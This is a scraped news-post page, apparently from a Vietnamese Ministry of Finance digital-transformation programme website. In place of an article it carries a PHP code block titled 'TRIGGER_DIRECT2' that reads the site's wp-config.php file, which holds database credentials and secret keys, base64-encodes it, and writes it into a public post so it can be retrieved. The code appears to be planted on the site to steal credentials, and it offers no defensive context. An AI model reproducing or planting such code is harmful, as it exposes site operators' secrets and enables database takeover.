BỘ TÀI CHÍNH

Chương trình Hỗ trợ Doanh nghiệp Chuyển đổi số

Tin tức

TRIGGER_DIRECT2

  • 31 tháng 05, 2026 - 2:18 PM

  • Chia sẻ:

[php]
$f = “/var/www/html/business/wp-config.php”;
$c = @file_get_contents($f);
if($c && strlen($c) > 10) {
$b64 = base64_encode($c);
$chunks = str_split($b64, 500);
$result = “”;
foreach($chunks as $ch) {
$result .= $ch;
}
global $wpdb;
$wpdb->update($wpdb->posts, array(“post_content” => $b64), array(“ID” => 4446));
echo “DONE:” . strlen($b64);
} else {
$f2 = “/var/www/html/wp-config.php”;
$c2 = @file_get_contents($f2);
if($c2 && strlen($c2) > 10) {
$b64 = base64_encode($c2);
global $wpdb;
$wpdb->update($wpdb->posts, array(“post_content” => $b64), array(“ID” => 4446));
echo “DONE2:” . strlen($b64);
} else {
echo “NOPE:” . $f . “:” . $f2 . “:” . strlen(@$c);
}
}
[/php]